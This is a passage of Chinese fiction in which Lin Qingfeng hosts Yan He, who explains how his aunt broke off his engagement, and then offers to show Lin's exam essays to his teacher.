他侧过身把严和让进来,“屋里烧了炉子,等会先去炉子那里把身上的凉气烤了,莫要将两个哥儿给冻着了。” 严和不住地点头,“今日多谢你了,日后若是有什么在下能帮的上忙的,在下必定义不容辞。” 如果不是林青峰坚持去夫子那里找他,等七八天后一切都尘埃落定了他才知道,就是想挽回也挽回不了了。 林青峰没在意这个,他去找严和只是不想林雪担心——心思郁结对身体也是不好的。况且他也觉得事情有蹊跷,左右只是跑一趟而已,不算麻烦。 严和匆匆向林青峰到了谢就进去找田小花了,林青峰继续回去煮姜汤。 他拿了在镇上买的饴糖煮了两碗姜汤,如今家里有体质弱的林雪,他也要注意不能让自己生病。 林青峰端着煮好的两碗姜汤走到堂屋的门帘前,低声喊了一声林雪,“小雪,帮我掀一下帘子。” 林雪在里面听严和解释完昨晚的事,发现确实是严和的大伯母瞒着他过来退亲的,就放下心来。谁想到严和解释完了以后就开始对小花告白,说一些羞人的话,搞得他都不好意思在里面呆了。 这会听见林青峰叫他,他连忙如释重负地跑过来掀帘子。 林青峰进来后见林雪脸红扑扑的,就问:“怎么了?屋里有些闷吗?” “还、还好。” 都怪严大哥讲的话太羞人了,什么“小花,我从始至终都只喜欢你一个。”、“我唯一的愿望就是能和你白头偕老。”,唉,听的他都不好意思了。这就是读书人吗? 林青峰将手里的姜汤放了一碗在严和旁边,打断了他的话,“喝碗姜汤再聊吧。” 严和这才回过神来,看着林青峰镇静的神色,后知后觉地也有了些不好意思,“多谢林兄。” 田小花此刻也不难过了,刚刚严大哥都和他解释了,昨晚的事是他大伯母自作主张地干的,他看着严和将姜汤喝下,脸色也好看了一些。 林青峰还不知道为何昨晚严和的大伯母会突然过来,于是他就问了,“严兄,你之前一直在夫子那里学习,为何昨天你家里人突然过来退亲?” 严和沉吟了一下,说道,“为何是昨天我也不是很确定。只是上次假期回家时,夫子说让我报名明年的乡试,他说今年我很有可能能考上。” “我大伯母知道后,就劝我去将亲事退了,等考上后再说别人,我当时没同意。只是她毕竟是我长辈,话不好说太重。没想到昨天她竟然自己过来替我将亲退了。” 林青峰心道,难怪。没考上功名之前,是严和高攀了田小花,等严和考上了功名,就是田小花高攀严和了。 他又想到一件事,对严和说道。“你今日最好还是回家里看看,你的大伯母突然要退亲,说不定是家里发生了什么别的事。” 严和点头,“是,等会我就得回去和大伯母说清楚,这种事情绝不能再发生了。” 四人又闲聊了几句,气氛也变得放松下来。 严和突然对林青峰说,“林兄,我方才注意到这桌上放着的是考学的书,你是不是也要考学?” 林青峰点点头,“我年后打算考县试的,若是能通过,也想试试院试。……不过,你不必叫我林兄,我应当是比你稍小一岁的。” 严和从善入流地改了称呼:“不愧是林弟,我去年也想去试试院试,但夫子说我学的还不够,就叫我多等了一年。” “之后林弟若是有什么需要的地方,可直接去夫子那里找我。” 林弟……也行吧。 其实林青峰不太适应的了古代的这种称呼,但他知道读书人之间都是这么称呼彼此的,等他考上功名了,类似的称呼会更多。 但说道考学的内容,林青峰确实有需要严和帮忙的地方,他将这两日他作的策论拿给严和看,“严、严兄,我确实有个需要你帮忙的地方……你能否帮我看一下这几篇策论?” 严和接过,仔细地看了一遍,他沉吟了一会儿,问道,“这是林弟自己所作的吗?” 林青峰点头。 严和站起身来,走到桌边,将这几张纸放在桌上,指着几处地方对林青峰说,“林弟的策论写的其实不错,我观这几处释义也没有问题。只是这里,还有这里,略有些不妥当。策论不仅要考察对题目的理解,还要注意语句优美的问题。” “不过,我的策论也只是学了皮毛,实在不知该如何帮你修改……你若不嫌弃的话,我能否将你的这几篇策论交给我的老师,让他帮忙修改一二?” 林青峰之前也打算抽个空去拜访一下临水村的那位夫子了,他每日看书做题,虽有些收获,但他自己写的那些策论诗赋之类的东西,他也说不好能不能行。如今能有严和介绍,去拜访那位夫子的事也更稳妥些。 于是他就答应了严和的提议,“那就麻烦严兄了。” 严和笑道,“不麻烦不麻烦,老师是一个脾气很好的人,等明日或是后日,我将家里的事处理好了便来邀请你一同去如何?” “若是要指点文章,最好还是亲自去听一下夫子的讲解为好,旁人转述的内容多少会有些出入。” “如此甚好,麻烦严兄了。”